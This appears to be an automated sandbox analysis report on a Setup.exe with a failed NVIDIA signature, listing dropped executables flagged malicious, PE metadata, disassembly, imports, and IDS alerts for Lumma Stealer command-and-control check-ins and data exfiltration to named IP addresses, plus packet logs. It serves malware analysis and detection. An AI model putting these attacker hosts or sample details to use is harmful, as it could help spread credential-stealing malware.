Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846325235
Entropy (8bit):	0.13954043794048707
Encrypted:	false
SSDEEP:
MD5:	6A8860A8150021B2D5B9BB707DE4FA37
SHA1:	FEB8A10FEE0388E1D93C669444F3A237C38EA5E4
SHA-256:	0CE2CDB61164F5C03D11DEF609873901F58510F764E8491B4EC1A5D3E0759E0B
SHA-512:	899CC13F5CD136D9F3D06BD13BD608CAB1DCEC1CE2F550A371C76253CFB155149A2CAE9827A365CCCFFA921A607A684DC7CD1A15645D317D7D9C199CEA1735F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO......................h...................@..........................@r.......r.......@.........................................:.e..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc...:.e.......e.................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ColorStreamLib\is-27FCF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846325235
Entropy (8bit):	0.13954043794048707
Encrypted:	false
SSDEEP:
MD5:	6A8860A8150021B2D5B9BB707DE4FA37
SHA1:	FEB8A10FEE0388E1D93C669444F3A237C38EA5E4
SHA-256:	0CE2CDB61164F5C03D11DEF609873901F58510F764E8491B4EC1A5D3E0759E0B
SHA-512:	899CC13F5CD136D9F3D06BD13BD608CAB1DCEC1CE2F550A371C76253CFB155149A2CAE9827A365CCCFFA921A607A684DC7CD1A15645D317D7D9C199CEA1735F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO......................h...................@..........................@r.......r.......@.........................................:.e..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc...:.e.......e.................@..@........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	4.476913108924629
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Setup.exe
File size:	73'410'061 bytes
MD5:	d07b60405395929fa6cc003b858c2f37
SHA1:	c1a890e84c98de3f8e330c78c534cf434b677a97
SHA256:	2254c1261c9c6aa2dd777a2ebf9cc28e634f1f6249f4c352b0451ef9f6406ff1
SHA512:	d6f0ba6d9bebfeca0c3e30361d30ea84120423491236687af277d7d1bb68affaea202eafada86384282329c9cd37bc9e6f87a4ac9ef981478a4aaaff66a0097c
SSDEEP:	24576:3iDV9lNv94RgIN8KCABMAAgSfFnhk0+H3epbMwsIF2r1Sxvf:OlNv9eg9QOAIfFnhk0o3VIUr1m
TLSH:	98F72392EBA50FAB1FB7302F2F4350500977407AF19617C913B1BA50762BA176EB532E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L...X\|.N.................n...d...B...8.....

File Icon


Icon Hash:	000e36b4b0d0685a

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4E807C58 [Mon Sep 26 13:21:28 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 01:00:00 17/01/2026 00:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007F376CF3C6FBh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007F376CF3C3DDh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007F376CF3C3CBh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007F376CF39CCAh
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007F376CF3C0A1h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F376CF39D53h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F376CF39CCAh
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x9f9e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x45fffe5	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x9f9e	0xa000	3756f593e4413a09308eea67c58e0694	False	0.8293212890625	data	7.132821741314157	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xfe000	0xf32	0x1000	649979d5945e40fd603252546887eb53	False	0.599609375	data	5.517617163978523	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf4220	0x7464	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced	English	United States	0.9582494294536179
RT_ICON	0xfb684	0xdf7	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	1.003076923076923
RT_ICON	0xfc47c	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.127959927140255
RT_ICON	0xfd5a4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.25975177304964536
RT_DIALOG	0xfda0c	0x100	data	English	United States	0.5234375
RT_DIALOG	0xfdb0c	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xfdc28	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xfdc88	0x3e	data	English	United States	0.8225806451612904
RT_MANIFEST	0xfdcc8	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-05T17:55:20.459864+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49714	172.67.186.189	443	TCP
2025-01-05T17:55:20.933997+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49714	172.67.186.189	443	TCP
2025-01-05T17:55:20.933997+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49714	172.67.186.189	443	TCP
2025-01-05T17:55:21.413956+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49720	172.67.186.189	443	TCP
2025-01-05T17:55:22.176598+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49720	172.67.186.189	443	TCP
2025-01-05T17:55:22.176598+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49720	172.67.186.189	443	TCP
2025-01-05T17:55:23.045100+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49731	172.67.186.189	443	TCP
2025-01-05T17:55:24.114914+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49742	172.67.186.189	443	TCP
2025-01-05T17:55:27.331925+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49763	172.67.186.189	443	TCP
2025-01-05T17:55:31.135292+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49788	172.67.186.189	443	TCP
2025-01-05T17:55:32.428824+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49788	172.67.186.189	443	TCP
2025-01-05T17:55:32.933019+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49799	172.67.186.189	443	TCP
2025-01-05T17:55:34.387274+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49810	172.67.186.189	443	TCP
2025-01-05T17:55:36.467251+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49826	172.67.186.189	443	TCP
2025-01-05T17:55:36.919744+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49826	172.67.186.189	443	TCP
2025-01-05T17:55:37.633228+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49832	185.161.251.21	443	TCP
2025-01-05T17:55:38.413777+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49843	172.67.208.58	443	TCP
2025-01-05T17:55:38.773322+0100	2008438	ET MALWARE Possible Windows executable sent when remote host claims to send a Text File	1	172.67.208.58	443	192.168.2.5	49843	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 17:55:19.976965904 CET	49714	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:19.977009058 CET	443	49714	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:19.977108002 CET	49714	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:19.978296041 CET	49714	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:19.978315115 CET	443	49714	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:20.459784985 CET	443	49714	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:20.459863901 CET	49714	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:20.461479902 CET	49714	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:20.461484909 CET	443	49714	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:20.461755037 CET	443	49714	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:20.511826992 CET	49714	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:20.516751051 CET	49714	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:20.516777039 CET	49714	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:20.516844988 CET	443	49714	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:20.934000015 CET	443	49714	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:20.934092999 CET	443	49714	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:20.934170008 CET	49714	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:20.935688972 CET	49714	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:20.935718060 CET	443	49714	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:20.935739994 CET	49714	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:20.935746908 CET	443	49714	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:20.942775011 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:20.942811012 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:20.942939043 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:20.943727016 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:20.943741083 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:21.413825035 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:21.413955927 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:21.415544987 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:21.415551901 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:21.415783882 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:21.429267883 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:21.429292917 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:21.429342031 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.176613092 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.176665068 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.176701069 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.176733017 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.176736116 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.176748991 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.176781893 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.176781893 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.176817894 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.176842928 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.176858902 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.176866055 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.176882029 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.181267023 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.181299925 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.181324005 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.181329966 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.181340933 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.181389093 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.265306950 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.265379906 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.265413046 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.265436888 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.265464067 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.265472889 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.265494108 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.308752060 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.438965082 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.439074039 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.439148903 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.439245939 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.439263105 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.439275026 CET	49720	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.439280033 CET	443	49720	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.559753895 CET	49731	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.559793949 CET	443	49731	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:22.559902906 CET	49731	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.560167074 CET	49731	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:22.560178041 CET	443	49731	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:23.045028925 CET	443	49731	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:23.045099974 CET	49731	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:23.046339035 CET	49731	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:23.046349049 CET	443	49731	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:23.046574116 CET	443	49731	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:23.047771931 CET	49731	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:23.047924995 CET	49731	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:23.047952890 CET	443	49731	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:23.601062059 CET	443	49731	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:23.601149082 CET	443	49731	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:23.601305008 CET	49731	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:23.601419926 CET	49731	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:23.601428032 CET	443	49731	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:23.656157970 CET	49742	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:23.656208992 CET	443	49742	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:23.656306982 CET	49742	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:23.656605005 CET	49742	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:23.656620979 CET	443	49742	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:24.114626884 CET	443	49742	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:24.114913940 CET	49742	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:24.115993977 CET	49742	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:24.116008997 CET	443	49742	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:24.116240025 CET	443	49742	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:24.117440939 CET	49742	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:24.117563009 CET	49742	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:24.117594004 CET	443	49742	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:24.117666006 CET	49742	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:24.163326025 CET	443	49742	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:26.673317909 CET	443	49742	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:26.673409939 CET	443	49742	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:26.673504114 CET	49742	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:26.673806906 CET	49742	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:26.673821926 CET	443	49742	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:26.851259947 CET	49763	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:26.851325035 CET	443	49763	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:26.851398945 CET	49763	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:26.851775885 CET	49763	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:26.851792097 CET	443	49763	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:27.331813097 CET	443	49763	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:27.331924915 CET	49763	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:27.333185911 CET	49763	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:27.333194017 CET	443	49763	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:27.333447933 CET	443	49763	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:27.334741116 CET	49763	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:27.334950924 CET	49763	443	192.168.2.5	172.67.186.189
Jan 5, 2025 17:55:27.334986925 CET	443	49763	172.67.186.189	192.168.2.5
Jan 5, 2025 17:55:27.335057020 CET	49763	443	192.168.2.5	172.67.186.189
